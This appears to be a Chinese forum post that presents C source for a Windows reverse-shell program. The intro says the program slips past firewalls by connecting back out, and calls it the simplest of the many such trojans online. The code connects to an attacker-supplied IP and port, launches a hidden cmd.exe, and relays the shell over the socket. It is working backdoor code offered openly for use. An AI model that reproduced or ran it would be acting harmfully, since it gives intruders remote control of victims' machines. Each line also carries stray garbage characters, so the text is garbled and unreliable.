这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o]ag"Q
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/* ============================== }R)=S_j
Rebound port in Windows NT SG?Nsp^%`B
By wind,2006/7 1VF
===============================*/ BnCKSg7V
#include Yz4_vePh+5
#include s-Aw<Q)d
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#pragma comment(lib,"wsock32.lib") R g?1-|Tj
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void OutputShell(); =\,uy8HX
SOCKET sClient; 5jgdbHog]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; TDg@Tg0
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void main(int argc,char **argv) Nrah;i+H\o
{ |+:h|UIUQ
WSADATA stWsaData; t ?h kL
int nRet; dLvJh#`o
SOCKADDR_IN stSaiClient,stSaiServer; `:wvh(
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if(argc != 3) b$Hz3TJ(
{ K7e4_ZGI
printf("Useage:\n\rRebound DestIP DestPort\n"); ExSO|g]%
return; =H %-.m'f2
} C{Asp
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WSAStartup(MAKEWORD(2,2),&stWsaData); _1*7Z=|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <e)o1+[w
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stSaiClient.sin_family = AF_INET; LhzMAW<L4
stSaiClient.sin_port = htons(0); Z,c,G2D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <&pKc6+{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mPPk)qy
{ T#!lPH :&h
printf("Bind Socket Failed!\n"); QM5 .f+/
return; xMs]Hs
} #FYAV%pi
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stSaiServer.sin_family = AF_INET; VW@ x=m
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .mL#6P!d3^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'PlaM Oy
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y-~~,Yl~
{ V&Mf:@y
printf("Connect Error!"); | A:@&|
return; K{cbn1\,H
} ^1jk$$f
OutputShell(); "Vd_CO
} *Q}[ ]g
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void OutputShell() w7-WUvxl
{ U5/qf8)yO
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; 9.M{M06;
OSVERSIONINFO stOsversionInfo; kII7z;<^`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F6S~$<
STARTUPINFO stStartupInfo; X1A<$Am1
char *szShell; TSL9ax4j
PROCESS_INFORMATION stProcessInformation; sI 4yG
unsigned long lBytesRead; $T }Tz7(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zPZF|%|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ; !$m1
stSecurityAttributes.lpSecurityDescriptor = 0; L>Jd7;=
stSecurityAttributes.bInheritHandle = TRUE; G+"8l!dC?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FUeq
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @qK<T
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i(HByI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J(h3]J/Yw
stStartupInfo.wShowWindow = SW_HIDE; 's@MQ!
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stStartupInfo.hStdInput = hReadPipe; }++5_Z_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A['uD<4b
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GetVersionEx(&stOsversionInfo); ValS8V*N1
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switch(stOsversionInfo.dwPlatformId) \3{3ly~L
{ LXhaD[1Rb
case 1: 85>S"%_
szShell = "command.com"; ++92:decM
break; dl[ob,aCK
default: 5RA<Z.
szShell = "cmd.exe"; L:U4N*
break; Y">4Qx4W
} Uu2N9.5
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nN{dORJlx
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send(sClient,szMsg,77,0); )|T`17-
while(1) mrnxI#6
{ Pc4R!Tc
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~PUsgL^
if(lBytesRead) x*mc - &N
{ |(%AM*n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !V(`ZH
send(sClient,szBuff,lBytesRead,0); u&3EPu
} j6X LyeG7
else -c$z 2Q)
{ Rrz'(KSDw
lBytesRead=recv(sClient,szBuff,1024,0); wF;B@
if(lBytesRead<=0) break; ;qVG
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -R@JIe_28f
} Rkr^Z?/GH
} IuKnM`X
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return; z\h,SX<U
}